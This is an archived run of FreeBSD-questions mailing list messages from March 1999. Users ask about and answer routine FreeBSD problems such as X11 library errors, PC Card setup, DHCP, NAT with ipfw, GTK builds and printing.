>I go to run XF86Setup (or basically any executable binary in
>/usr/X11R6/bin) I get the error:
>
>	' ld.so failed: Can't find shared library "libXaw.so.6.1" '

I encountered a similar problem. Only, this occured when trying to run 
x-programs, like "filerunner".
I think the problem is somehow related to the elf/aout configuration on the 
system.
There is a file called 'objformat' in the /etc directory. As XF86 3.3.3.1 
should be elf binaries (just as the 3.1 RELEASE) this should contain the 
single line:
OBJFORMAT=elf
In the rc.conf file there are to ldconfig_paths variables
and they should contain the /usr/X11R6/lib directory.

ldconfig_paths="/usr/compat /usr/X11R6/lib /usr/local/lib"

For compatibility reasons and in order to run old a.out format binaries
the variable

ldconfig_paths_aout

should contain all directories containing old a.out libraries such as e.g.
/usr/compat/aout

Hope that helps

	Peter	



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From owner-freebsd-questions  Mon Mar 22  2:13:16 1999
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Subject: card0 Device not configured
Date: Mon, 22 Mar 1999 11:13:00 +0100
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Sorry, i already posted this message but as i'm not sure that it
arrived in the mailing list i repost it know: 

Hello,

sorry if this topic has already been discussed, but I'm new to this
list and could not find a solution in the archive, though many people
had very similar problems.

If I invoke pccardc with the option "pccardmem 0xd0000" I get the 
error message: "Device card0 not configured". I'm running FBSD 3.1R.
I first tried to remove the kldload command in rc.pccard, and enabled
kernel support for device card0 + the pcic entries. As this didn't
work I disabled the pcic entries in kernelconfig and reactivated
the kldload command in rc.pccard. The same error as above. Then I 
read in the archive that some people had to add a card1 device + 
more pcic entries in the kernel config file, but even this didn't
work for my configuration.

Did anybody solve this problem?

My /dev/card0 is there and i even deleted and remade it several times.
I've even added card1, card2, card3 and card4 device.
If I do a "pccardc dumpics" I get: "0 devices configured".
At boottime I see a message that pccard-device "ed" has been added.

Can anyone help?

Thanks,

 Alex


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From owner-freebsd-questions  Mon Mar 22  2:24:35 1999
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Hi!

Help, pls.
I want to mount Netware partitions.
Where can I find IPX for FreeBSD (2.2.8-RELEASE).

Best regards,
 andrey                          mailto:andrey@dongu.donetsk.ua




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From owner-freebsd-questions  Mon Mar 22  3: 8:58 1999
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Date: Mon, 22 Mar 1999 12:08:31 +0100
To: freebsd-questions@FreeBSD.ORG
From: Stefano Riva <sriva@alice.it>
Subject: Console and TERMCAP
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  I'm porting an old application from SCO to FreeBSD (recompiling
everything, not using iBCS2 emulation) and I'm experiencing a problem with
sc0 - standard terminal cons25.

  The application has a color ANSI display, but on the FreeBSD console I
can't see colors nor line-drawing characters (they're used to draw windows
and menus borders): the display works, but in b&w and with chars like D, 3,
Z and Y instead of lines. The strange thing is that the background of the
screen is correctly filled with square-dotted (I don't know the english
name for PC IBM 437 code page 0xB2 extended char) chars, so the problem
isn't really that I don't get extended chars.
  When I'm telnetted in from a Windows PC using Netterm, I see the
line-drawing chars but always in b&w. Of course I tried to setup TERM vars
to "ansi" instead of "cons25". Nothing changes. I tried to use the SCO-ANSI
entry of a SCO OpenServer 5 TERMCAP in the FreeBSD's TERMCAP. Nothing
changes. I tried a bunch of other things. Nothing.

  I'm looking for ideas and/or detailed material about the FreeBSD's
console, especially related with similarities/differences with SCO console
(in kernel configuration files, sc0 has the comment "resembling an SCO
console").

---

  Stefano Riva
  Software Engineer - System Administrator
  Informazioni Editoriali I.E. Srl
  Phone +39-027528400, Fax +39-027528451
  Email sriva@alice.it


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From owner-freebsd-questions  Mon Mar 22  3:27:43 1999
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Date: Mon, 22 Mar 1999 06:29:17 -0500
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	Greetings List,

I'm having a bizarre DHCP problem on my FBSD 3.0 Release box.  When
dhclient loads, it sends out the DHCPDISCOVERY request and sits there for a
couple of seconds.  I then get the error:  DHCPACK in wrong transaction.
It will do that a few times, try and get a new address, and then the
message comes up again.  I've also seen DHCPOFFER in wrong transaction.
Eventually it will error out and complain about /etc/dhclient-script: 175
syntax error: end of file unexpected (expecting "fi").

I've tried everything I can think of.  Dhclient-scipt hasn't changed.  I
restored the configuration from a backup 'just in case' and it still didn't
work.  I can get an IP address from the DHCP server on a Windows machine.
The network card initializes okay and there is connectivity.  I don't know
where to turn from here.

Any help/suggestions/ideas would be greatly appreciated.

Thanks in advance.

Brad



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From owner-freebsd-questions  Mon Mar 22  3:37:17 1999
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I have just received  FreeBSD 3.1 and cannot do anything with it. I have
run 2.2.7 and 2.2.8 on the above adapter, so was very disappointed when
I could not install 3.1.
Has anyone come to the rescue as yet and, if so, where can I get the
driver.  Many thanks. RSB.



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From owner-freebsd-questions  Mon Mar 22  3:55: 9 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 06:54:33 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: mbermal@ucsd.edu
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
In-Reply-To: <Pine.BSF.4.05.9903211948270.18005-100000@celerystick.inetworld.net>
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check /usr/X11R6/bin/g*-config

If you installed gtk/glib from the ports the g*-config's are renamed to
allov separate versions.  I have a symlink to the newest ones for
compiling non-ports.

ln -s gtk11d-config gtk-config
or
ln -s gtk12-config gtk-config 


------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org




On Sun, 21 Mar 1999, Mark Bermal wrote:

> Hello!
> 	I'm still having problems installing gimp, and it is the same
> problem, even after I got the latest tarballs. I keep getting:
> 
> checking for GTK - version >= 1.1.13... no
> *** Could not run GTK test program, checking why...
> *** The test program failed to compile or link. See the file config.log
> for the
> *** exact error that occured. This usually means GTK was incorrectly
> installed
> *** or that you have moved GTK since it was installed. In the latter case,
> you
> *** may want to edit the gtk-config script: /usr/X11R6/bin/gtk12-config
> configure: error: Test for GTK failed. See the file 'INSTALL' for help.
> *** Error code 1
> 
> I installed glib-1.2.0 and GTK-1.2.0 in that order before doing the make
> install for gimp-1.1.2, and both went through with no problems. Another
> thing is that I don't know where to find config.log or INSTALL files that
> the error refers to. How can I fix this? Mail archives show this problem
> to be fairly common, but don't really give a clear answer to it. Please
> Help!
> 
> Thank You,
> 
> Mark Bermal
> 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Mon Mar 22  4:26: 6 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 15:23:49 +0300 (MSK)
From: "Pavel V. Antipov" <pavel@ikar.elect.ru>
To: freebsd-questions@freebsd.org
Cc: Robert Deuerling <deuerl@bugsy.indra.de>,
	Ruslan Ermilov <ru@ucb.crimea.ua>, Jeff Gray <jwgray@netbox.com>
Subject: Clustering under FreeBSD
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Hi !

We've already released the demo version of subj.
You can download it from 

ftp://ikar.elect.ru/ANNOUNCE/DemoROSKU.tgz     (Russian version)
or
ftp://ikar.elect.ru/ANNOUNCE/DemoROSKUeng.tgz  (English version)

It works under FreeBSD 2.2.5.
If you'll have some questions, please mail me: pavel@ikar.elect.ru
User's Guide is in the archives.


Thank you.

				Your's sincerly
				Pavel

P.S.
   English version now preparing.
   You may try to download it before the 5th of April.





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From owner-freebsd-questions  Mon Mar 22  5: 1:16 1999
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Date: Mon, 22 Mar 1999 15:02:21 +0200
From: Max Golov <max@grad.kiev.ua>
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How can I run a setuid perl script?
I use sperl & set a setuid attributes for my script, but it tells me:

YOU HAVEN'T DISABLED SET-ID SCRIPTS IN THE KERNEL YET! FIX YOUR KERNEL 
PUT A C WRAPPER AROUND THIS SCRIPT, OR USE -u AND UNDUMP!

What is a problem?

-- 
	mailto:max@grad.kiev.ua


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From owner-freebsd-questions  Mon Mar 22  5: 6: 1 1999
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Can anybody recommend a good 400Mhz plus, UW SCSI
system, off the shell, ready to roll, all I need
to do is install the latest freebsd and it takes
off?

I would also like an on-site service plan for hardware
too.

-Mike


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From owner-freebsd-questions  Mon Mar 22  5:21:24 1999
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	(envelope-from lonewolf@apotheosis.za.org)
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Date: Mon, 22 Mar 1999 15:20:17 +0200
From: Lonewolf <lonewolf@apotheosis.za.org>
To: "Julian C. Dunn" <jdunn@aquezada.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: sshd won't do X11 forwarding
Mail-Followup-To: "Julian C. Dunn" <jdunn@aquezada.com>,
	freebsd-questions@FreeBSD.ORG
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On Sun, Mar 21, 1999 at 10:06:39PM -0500, Julian C. Dunn wrote:
> I've installed sshd on a 2.2.8-S box, and although I can ssh into it fine,
> it won't do X11 forwarding. It says "warning: X11 forwarding denied by
> server, perhaps xauth could not be run?" However, I have checked to see that
> xauth is in everyone's default path, and ordinary users can run it.

Have you checked your tcp_wrapper setup (if you have it installed) and your
/usr/local/etc/sshd_config?

--
lonewolf@apotheosis.za.org
http://apotheosis.za.org


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From owner-freebsd-questions  Mon Mar 22  5:42:49 1999
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From: "Tim Pushor" <timp@orion.ab.ca>
To: "Hugh Blandford" <hugh@island.net.au>
Cc: <questions@freebsd.org>
Subject: Re: NAT Question
Date: Tue, 23 Mar 1999 06:50:35 -0700
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Well, I have tried that.

I did not want to do that initially because I wanted to learn exactly how
ipfw and divert worked with NAT, and how I could manipulate firewall ACL's.

But after not being able to get this working for a while, I did
try -unregistered_only but the effect was that packets from my protected
network did not get sent to the 'router or nat machines' default gateway.
i.e. I could ping the public side of the router/nat box but could not ping
the internet any more (before the nat I could fine).

Think I am doing something wrong?

Thanks for the response,
Tim
-----Original Message-----
From: Hugh Blandford <hugh@island.net.au>
To: Tim Pushor <timp@orion.ab.ca>
Date: Monday, March 22, 1999 12:30 AM
Subject: Re: NAT Question


>Hi Tim,
>
>if your protected network is routable on the internet and you don't want to
>do any NAT then there is a switch you can insert in the config file or at
>runtime:
>
>-unregistered_only or -u
>
>Regards,
>
>Hugh
>
>At 22:51 22/03/99 -0700, you wrote:
>>Hello,
>>
>>I have built a NAT box using ipfw and natd on FreeBSD 2.2.8. I can't seem
to
>>accomplish what I am trying to do:
>>
>>I have three interfaces (the IP's have been changed to protect the
innocent
>>:)
>>
>>public - 207.122.216.0 255.255.255.128
>>protected - 207.122.216.129 255.255.255.128
>>private - 192.168.1.0 255.255.255.0
>>
>>What I am trying to do is to use the machine as a router between the
public
>>and protected interfaces (and default routing out to a router that will
>>forward to the Internet), but NAT the private interface to an IP address
on
>>the public side.
>>
>>The NAT works fine.. The problem I am having is that after enabling nat,
the
>>protected interface will no longer forward to the Internet.
>>
>>What I am wondering is how I should configure ipfw so that traffic to/from
>>the private network is NATted, and that routing between the public and
>>protected interfaces is unnafected.
>>
>>Can someone help shed some light on this?
>>Many thanks,
>>Tim
>>
>>
>>
>>To Unsubscribe: send mail to majordomo@FreeBSD.org
>>with "unsubscribe freebsd-questions" in the body of the message
>>
>>
>



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From owner-freebsd-questions  Mon Mar 22  6:23:26 1999
Delivered-To: freebsd-questions@freebsd.org
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Message-Id: <199903220851.IAA00721@keep.lan.Awfulhak.org>
X-Mailer: exmh version 2.0.2 2/24/98
To: Gary Stanny <stanny@tdfltd.com>
Cc: questions@FreeBSD.org
Subject: Re: thousands of CCP: CcpSendResetReq 
In-reply-to: Your message of "Sat, 20 Mar 1999 08:23:55 EST."
             <3.0.1.32.19990320082355.0071471c@izzy.net> 
Mime-Version: 1.0
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Date: Mon, 22 Mar 1999 08:51:58 +0000
From: Brian Somers <brian@Awfulhak.org>
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> Hi all -
> 
> I just noticed over the last month I have been getting literally
> thousands of CcpSendResetReq / RecvResetAck pairs. What does this mean?
> Nothing has changed on my side in months - what did my ISP change?
> I am running 2.2.2.

Your ISP probably just started supporting predictor.  You could try 
upgrading to the latest ppp from http://www.Awfulhak.org/ppp.html.  
It now restarts the CCP layer when there's an error (as per the rfc) 
rather than doing a CCP reset.

> Please cc your clues / info to me direct too since I get questions as a
> digest and I am hacking in the office now :-)
> 
> TIA
> 
> Mar 20 08:09:49 diablo ppp[16141]: CCP: RecvResetAck
> Mar 20 08:10:08 diablo ppp[16141]: LCP: Received Echo Reply (72) state =
> Opened
> (9)
> Mar 20 08:10:23 diablo ppp[16141]: CCP: CcpSendResetReq
> Mar 20 08:10:23 diablo ppp[16141]: CCP: Received Reset Ack (149) state =
> Opened
> (9)
> Mar 20 08:10:23 diablo ppp[16141]: CCP: RecvResetAck
> Mar 20 08:10:38 diablo ppp[16141]: LCP: Received Echo Reply (73) state =
> Opened
> (9)
> Mar 20 08:10:57 diablo ppp[16141]: CCP: CcpSendResetReq
> Mar 20 08:10:57 diablo ppp[16141]: CCP: Received Reset Ack (150) state =
> Opened
> (9)
> Mar 20 08:10:57 diablo ppp[16141]: CCP: RecvResetAck
> Mar 20 08:11:08 diablo ppp[16141]: LCP: Received Echo Reply (74) state =
> Opened
> (9)
> 
> cheers
> 
> gary
> 
> Gary Stanny          Tierra del Fuego Ltd.    www.TDFltd.com
> stanny@TDFltd.com    Financial Software       734-449-8306 (voice/fax)
> 7725 Shady Beach Dr  Whitmore Lake, MI, 48189 USA

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Mon Mar 22  6:28:43 1999
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From: Steve Hovey <shovey@buffnet.net>
To: freebsd-questions@freebsd.org
Subject: Am I the only one getting doubles
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from questions?

------------------------------------------------------------------
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Chief Network Administrator
BuffNET		More Than Just a Connection!
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From owner-freebsd-questions  Mon Mar 22  6:43:33 1999
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From: Mauricio Brixner <mauricio@slm.com.br>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: FW: knight security check output
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this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE7472.340B5890
Content-Type: text/plain;
	charset="iso-8859-1"

Dear FreeBSD Gurus:

Can someone help me to understand what is the messages below?

knight kernel log messages:
> l 11
> psmintr: out of sync (0040 != 0000).
> psmintr: out of sync (0080 != 0000).
> psmintr: out of sync (00c0 != 0000).
> psmintr: out of sync (0040 != 0000).
> psmintr: out of sync (00c0 != 0000).
> psmintr: out of sync (0080 != 0000).

Please, reply to mauricio@slm.com.br

TIA.

Mauricio Brixner
SLM Standard
Brazil

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<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2232.0">
<TITLE>FW: knight security check output</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Dear FreeBSD Gurus:</FONT>
</P>

<P><FONT SIZE=2>Can someone help me to understand what is the messages below?</FONT>
</P>

<P><FONT SIZE=2>knight kernel log messages:</FONT>
<BR><FONT SIZE=2>&gt; l 11</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (0040 != 0000).</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (0080 != 0000).</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (00c0 != 0000).</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (0040 != 0000).</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (00c0 != 0000).</FONT>
<BR><FONT SIZE=2>&gt; psmintr: out of sync (0080 != 0000).</FONT>
</P>

<P><FONT SIZE=2>Please, reply to mauricio@slm.com.br</FONT>
</P>

<P><FONT SIZE=2>TIA.</FONT>
</P>

<P><FONT SIZE=2>Mauricio Brixner</FONT>
<BR><FONT SIZE=2>SLM Standard</FONT>
<BR><FONT SIZE=2>Brazil</FONT>
</P>

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From owner-freebsd-questions  Mon Mar 22  6:48:20 1999
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X-Personal_name: Alex Bulygin
From: alex@komanda.com.ua
Subject: Optical drive fault.
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Hi! Im in trouble with connecting FUJITSU DynaMO640 under FreeBSD-box.
There is NCR810 SCSI adapter and it was properly found by kernel. There are
also configured  odx and sdx devices in the /dev. However its unpossible
to mount or format disks cause system reports that it(disk) has wrong block
size.
Could someone direct me in this situation. 
Thanks for any ideas and help.

Alex.



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From owner-freebsd-questions  Mon Mar 22  6:49:13 1999
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Steve Hovey wrote:
> 
> from questions?
> 

No.

> ------------------------------------------------------------------
> Steve Hovey
> Chief Network Administrator
> BuffNET         More Than Just a Connection!
> ------------------------------------------------------------------
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Mon Mar 22  6:52:46 1999
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From: "Masahiro Ariga" <mariga@cd.mbn.or.jp>
To: <freebsd-questions@FreeBSD.ORG>
Subject: how to die gracefully
Date: Mon, 22 Mar 1999 23:39:39 +0900
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My name is Masahiro Ariga,
I made a server-like program which receives data from another PC by using
socket and,inside,uses pipes and communicates among processes,and send those
finished data to client PC  using socket .
Right now,each process works in the form of infinite loops, and only way to
finish the program is to enter Ctl^C.
First loaded program works fine,and enters Ctl^C to exit it,but if I execute
it second time,it shows abnormalties like taking time to start to send data
to clent,and badly enough,it responds not at all.
I presume it results from not closing sockets,or residual memory or
something,but I'm not sure.

So,sinior UNIX programers,would you teach me next two questions ?

1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
recover normal condition in preparation for next execution ?
2.I like to catch the signal when pushed Ctl^C,and make a handler
routine.Would you tell me what signal I can catch when enterring Ctl^C ?

My E-mail addres is,
mariga@cd.mbn.or.jp




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From owner-freebsd-questions  Mon Mar 22  7: 0:55 1999
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Date: Mon, 22 Mar 1999 15:53:15 +0100 (CET)
From: Ladislav Kostal <kostal@pefstud.uniag.sk>
To: freebsd-questions@freebsd.org
Subject: login.conf
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Hello,

Are all features listed in man login.conf really working ?
No success with password exipration, ttys.deny, daytime ...
but minpasswordlen is working ...
(I need this information for my final work, so please if you know, don't
ignore ...)
				Thanks in advance
					Ladislav Kostal



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From owner-freebsd-questions  Mon Mar 22  7: 1:49 1999
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To: Masahiro Ariga <mariga@cd.mbn.or.jp>
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Masahiro Ariga wrote:

> First loaded program works fine,and enters Ctl^C to exit it,but if I execute
> it second time,it shows abnormalties like taking time to start to send data
> to clent,and badly enough,it responds not at all.
> I presume it results from not closing sockets,or residual memory or
> something,but I'm not sure.

AFAIK - when your program quit's, the O/S should free up it's memory and close
it's files etc. (as a kind of last-resort) - it's probably not good practice
to rely on this though, especially if your program is designed to run for long
periods of time...
 
> So,sinior UNIX programers,would you teach me next two questions ?
> 
> 1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
> recover normal condition in preparation for next execution ?

Catch the CTRL-C signal, then perform housekeeping & cleanup (i.e. close
files, sockets, freeup memory used etc. - all of which your program should
have tracked etc.), then quit...

> 2.I like to catch the signal when pushed Ctl^C,and make a handler
> routine.Would you tell me what signal I can catch when enterring Ctl^C ?

SIGQUIT I think - check the man pages out (man signal)...

-Kp


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From owner-freebsd-questions  Mon Mar 22  7: 5:34 1999
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Date: Mon, 22 Mar 1999 17:05:08 +0200
From: Vallo Kallaste <vallo@matti.ee>
To: Ladislav Kostal <kostal@pefstud.uniag.sk>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: login.conf
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On Mon, Mar 22, 1999 at 03:53:15PM +0100, Ladislav Kostal <kostal@pefstud.uniag.sk> wrote:

> Are all features listed in man login.conf really working ?

No. Which ones, I don't know.
-- 

Vallo Kallaste
vallo@matti.ee


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From owner-freebsd-questions  Mon Mar 22  7: 6:24 1999
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From: "Samer, Michael, IN" <Michael.Samer@Ingolstadt.BERTRANDT.com>
To: "FreeBSD Questions (E-Mail)" <freebsd-questions@freebsd.org>,
	"Edelmann, Martin, SI" <Martin.Edelmann@sindelfingen.bertrandt.com>
Subject: RSH 4 Root denied
Date: Mon, 22 Mar 1999 16:08:40 +0100
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Hallo,
ich habe folgendes Problem: sobald ich mich als root auf einer =
bestimmten
Maschine mit rsh einlogge bekomme ich die Meldung "not on system =
console -
Connection closed", als ob das Login nicht funktionieren w=FCrde und =
ich
unberechtigter weise rausfliegen w=FCrde...; wenn ich mich =FCber =
telnet
einlogge passiert das selbe. Sobald ich statt root mit meinem User =
drinne
bin geht's?! Das Profile von root ist O.K. aber das war's dann auch. =
Von der
entsprechenden Maschine aus kann ich nicht mal eine rsh ausf=FChren =
ohne
obiges Problem, egal welches login...
Irgendwelche Tips? Ist dringend!

Gru=DF
Sam

Michael Samer, DV-Support Bertrandt GmbH IN



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From owner-freebsd-questions  Mon Mar 22  7: 7:52 1999
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From: gkaplan <gkaplan@castle.net>
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To: Brian Somers <brian@Awfulhak.org>
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The reason for my asking about kermit is that I want to verify that my modem
is working correctly. I don't believe that that is a problem with ppp, in fact
I have been getting very useful results from viewing the log file
/var/log/ppp.log I believe that my problem is either with an inappropriate
TERM definition or with the modem setup, and that I am ignorant of how to
approach the problem. A recent result in attempting to connect to my isp
through (telnet(ppp)) is that I recorded many hdlc errors along with partial
transmission of an initial menu from that remote ( not the login but rather
communication subsequent to the login). I am more inclined to question my
modem because I have had the same result with netscape. Thank you for your
input.

Brian Somers wrote:

> > It was suggested to me that I may be able to use kermit to resolve some
> > problems that I  have establishing a  serial line connection to my isp.
> > 1.) what functions would be partially replaced, and/or fully replaced by
> > kermit ?
>
> None.  Kermit can be used to prove that the problem is with the
> serial port rather than with ppp.  If kermit works, ppp should, if
> kermit doesn't, ppp won't.  People find that easier to accept than
> believing that ppp is not to blame for dodgy or misconfigured
> hardware.
>
> > 2.) which version of kermit would be the logical choice to use with
> > 2.2.8 ,or  with 3.1?
>
> The one in the ports collection.
> --
> Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
>       <http://www.Awfulhak.org>
> Don't _EVER_ lose your sense of humour !





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From owner-freebsd-questions  Mon Mar 22  7:11: 3 1999
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Date: Mon, 22 Mar 1999 10:14:48 -0500
From: pete collins <pcollins@ocsny.com>
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Subject: printing 
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i am using the print filter i compiled from the cd rom
/books/scripts/lpfilter.c

i have an HP 5P lazerjet printer

if i send
lptest | lpr
to the printer it prints out fine

however if i try
cat myfile | lpr
the light blinks but nothing prints

then if i try
lptest | lpr
it prints myfile and the lptest stuff

it seems the printer is not ejecting the last page
so the later stuff comes up on the lptest

and it seems the only way i can force the printer to print
is with lptest

also if i try to print a web page from netscape
it prints out the postscript in ascii format

am i using the correct print filter?

thanks

pete





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From owner-freebsd-questions  Mon Mar 22  7:12: 5 1999
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 freebsd-questions@FreeBSD.ORG; Mon, 22 Mar 1999 10:11:43 -0500 (EST)
Date: Mon, 22 Mar 1999 10:11:43 -0500 (EST)
From: "Joe \"Marcus\" Clarke" <marcus@miami.edu>
Subject: Re: login.conf
In-reply-to: <Pine.BSF.4.05.9903221550510.20490-100000@pefstud.uniag.sk>
To: Ladislav Kostal <kostal@pefstud.uniag.sk>
Cc: freebsd-questions@FreeBSD.ORG
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As far as I know, FreeBSD is in a state of flux between classical
login.conf-style authentication, and the new PAM.  SOME of the login.conf
items work (such as manpath, coresize, openfiles), but things like maximum
login sessions, and password expire do not.

Joe Clarke

On Mon, 22 Mar 1999, Ladislav Kostal wrote:

> Hello,
> 
> Are all features listed in man login.conf really working ?
> No success with password exipration, ttys.deny, daytime ...
> but minpasswordlen is working ...
> (I need this information for my final work, so please if you know, don't
> ignore ...)
> 				Thanks in advance
> 					Ladislav Kostal
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> 



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From owner-freebsd-questions  Mon Mar 22  7:17:34 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 09:25:17 -0600 (CST)
From: Terry Todd <tlt@tltodd.com>
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To: freebsd-questions@freebsd.org
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After doing some checking and thanks to some replies from my original
question I have found that I needed to turn IPFIREWALL_VERBOSE off
and also ipfw does log to /var/log/messages.  I have tried mucking with
syslog.conf to get it to log ipfw messages to its own file but no luck.
Does anyone know the magic line(s) for syslog.conf to get ipfw to log
to a separate file?

Thanks,
Terry Todd


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From owner-freebsd-questions  Mon Mar 22  7:18:30 1999
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Date: Mon, 22 Mar 1999 15:18:07 +0000
From: Ben April <ben@destek.net>
To: freebsd-questions@freebsd.org
Subject: master.passwd wowes
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Hey all-
        Got a quick [or not] question.
        The problem is this. I have an existing server running:
 
FreeBSD [Hostname] 2.2.7-RELEASE FreeBSD 2.2.7-RELEASE #0: Mon Dec 14 11:03:24 EST
 1998     [Kernel specs]
 
        We are in the process of migrating to a new server running:
 
FreeBSD [Hostname]  3.1-RELEASE FreeBSD 3.1-RELEASE #2: Wed Mar 17 14:14:55 GMT 19
99     [Kernel specs]
 
        I'm using rsync to do the updates and all is working well except
        I can't for the life of me get the password file to work on
        the 3.1 system. Maybe I'm missing a step or something.
        Can someone give me the breakdown of a procedure to do
        such a change. (Just inserting the new password file)
 
        Thanks.
        [the names have been changed for obvious reasons]
        [more info on request]

-- 
========== ========== ========== ========== ========== ==========
Benjamin April-----------------------------The Destek Networking Group
Network Specialist-------------------------One Indian Head Plaza
E-mail: Ben@Destek.net---------------------Nashua, NH, USA 03060
URL: http://WWW.Destek.NET/ ---------------WAN & Internet Services
Policy Change: Pillage first, Then Burn!
========== ========== ========== ========== ========== ==========


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From owner-freebsd-questions  Mon Mar 22  7:25:55 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 08:25:04 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: mbermal@ucsd.edu
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
In-Reply-To: <Pine.BSF.4.05.9903211948270.18005-100000@celerystick.inetworld.net>
Message-ID: <Pine.BSF.4.05.9903220822360.20225-100000@peloton.physics.montana.edu>
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Hi,

On Sun, 21 Mar 1999, Mark Bermal wrote:

> Hello!
> 	I'm still having problems installing gimp, and it is the same
> problem, even after I got the latest tarballs. I keep getting:
> 
> checking for GTK - version >= 1.1.13... no
> *** Could not run GTK test program, checking why...

Try running gtk12-config yourself - do a :

	gtk12-config --libs 

just as a test.  If it doesn't return something then you may have
problems.  

> I installed glib-1.2.0 and GTK-1.2.0 in that order before doing the
> make install for gimp-1.1.2, and both went through with no problems.
> Another thing is that I don't know where to find config.log or INSTALL
> files that the error refers to.

config.log will be in work/gimp-1.1.2/config.log.  Read through that and
see if you can see what it says the error is.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Mon Mar 22  7:31:30 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 08:30:22 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Patrick Seal <patseal@hyperhost.net>
Cc: mbermal@ucsd.edu, freebsd-questions@FreeBSD.ORG
Subject: Re: GTK/Gimp installation problems
In-Reply-To: <Pine.BSF.4.10.9903220649560.24163-100000@foobar.hyperhost.net>
Message-ID: <Pine.BSF.4.05.9903220829320.20225-100000@peloton.physics.montana.edu>
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Hi,

On Mon, 22 Mar 1999, Patrick Seal wrote:

> If you installed gtk/glib from the ports the g*-config's are renamed to
> allov separate versions.  I have a symlink to the newest ones for
> compiling non-ports.
> 
> ln -s gtk11d-config gtk-config
> or
> ln -s gtk12-config gtk-config 

I doubt this is the problem. The ports take care of this for you - look at
the ENV variables in the Makefile for gimp for example.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Mon Mar 22  7:38:31 1999
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In-Reply-To: <199903212351.SAA05651@cc942873-a.ewndsr1.nj.home.com>
References: <XFMail.990321181326.jobaldwi@vt.edu> from John Baldwin at
 "Mar 21, 99 06:13:26 pm"
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Date: Mon, 22 Mar 1999 10:39:06 -0500
To: cjclark@home.com, jobaldwi@vt.edu (John Baldwin)
From: Robert Beer <r-beer@onu.edu>
Subject: Re: Why are NIS netgroups  ignored...
Cc: cjclark@home.com, freebsd-questions@FreeBSD.ORG
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At 6:51 PM -0500 3/21/1999, Crist J. Clark wrote:
>John Baldwin wrote,
>> On 21-Mar-99 Crist J. Clark wrote:
>> > John Baldwin wrote,
>> > OK, next questions. ;) Does,
>> > 
>> > % ypcat -x
>> > 
>> > Show that the netgroup maps are being transfered to the machine in
>> > question?
>> 
>> Apparently not:
>> 
>> > ypcat -x
>> Use "passwd" for "passwd.byname"
>> Use "master.passwd" for "master.passwd.byname"
>> Use "group" for "group.byname"
>> Use "networks" for "networks.byaddr"
>> Use "hosts" for "hosts.byaddr"
>> Use "protocols" for "protocols.bynumber"
>> Use "services" for "services.byname"
>> Use "aliases" for "mail.aliases"
>> Use "ethers" for "ethers.byname"
>
>OK, then I am starting to think it is a server problem, not the
>client. The server does not seem to be pushing the netgroup
>maps. But...

This seems to be some sort of bug in the ypcat -k command.  I use a netgroup file and it creates:

-rw-------  1 root  bin   40960 Mar 19 16:26 netgroup
-rw-------  1 root  bin   40960 Mar 19 16:26 netgroup.byhost
-rw-------  1 root  bin   40960 Mar 19 16:26 netgroup.byuser

under the /var/yp/Domain_Name directory.  Look for the files and the fact that a ypcat and ypmatch work with the netgroup information means these files exist.


---
Bob Beer <r-beer@onu.edu>
Ohio Northern University, Academic Computer Services, Ada, OH  45810




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From owner-freebsd-questions  Mon Mar 22  7:42:28 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 09:46:03 -0600
From: Oscar Bonilla <obonilla@fisicc-ufm.edu>
To: Jack James <indyjj@indy.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: files
Message-ID: <19990322094603.B539@fisicc-ufm.edu>
